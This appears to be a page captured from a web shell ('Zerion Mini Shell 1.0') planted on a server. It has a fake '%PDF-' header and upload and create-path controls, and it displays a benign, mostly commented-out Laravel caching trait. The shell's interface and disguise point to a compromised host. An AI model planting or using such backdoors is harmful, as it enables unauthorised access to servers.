%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/shaban/duassis/api/app/Traits/
Upload File :
Create Path :
Current File : //var/www/html/shaban/duassis/api/app/Traits/Cacheable.php

<?php

namespace App\Traits;

// use Illuminate\Database\Eloquent\Builder;
// use Rinvex\Cacheable\CacheableEloquent;

trait Cacheable
{
    // use CacheableEloquent;
    //
    // /**
    //  * Generate unique cache key.
    //  *
    //  * @param Builder $builder
    //  * @param array $columns
    //  *
    //  * @return string
    //  */
    // protected function generateCacheKey(Builder $builder, array $columns)
    // {
    //     $query = $builder->getQuery();
    //     $vars = [
    //         'aggregate'   => $query->aggregate,
    //         'columns'     => $query->columns,
    //         'distinct'    => $query->distinct,
    //         'from'        => $query->from,
    //         'joins'       => $query->joins,
    //         'wheres'      => $query->wheres,
    //         'groups'      => $query->groups,
    //         'havings'     => $query->havings,
    //         'orders'      => $query->orders,
    //         'limit'       => $query->limit,
    //         'offset'      => $query->offset,
    //         'unions'      => $query->unions,
    //         'unionLimit'  => $query->unionLimit,
    //         'unionOffset' => $query->unionOffset,
    //         'unionOrders' => $query->unionOrders,
    //         'lock'        => $query->lock,
    //     ];
    //
    //     $this->setCacheLifetime(24 * 60); //in minutes
    //
    //     return app()->environment() . '.' . md5(json_encode([
    //             $vars,
    //             $columns,
    //             static::class,
    //             $this->getCacheDriver(),
    //             $this->getCacheLifetime(),
    //             $builder->getEagerLoads(),
    //             $builder->getBindings(),
    //             $builder->toSql(),
    //         ]));
    // }
}

Zerion Mini Shell 1.0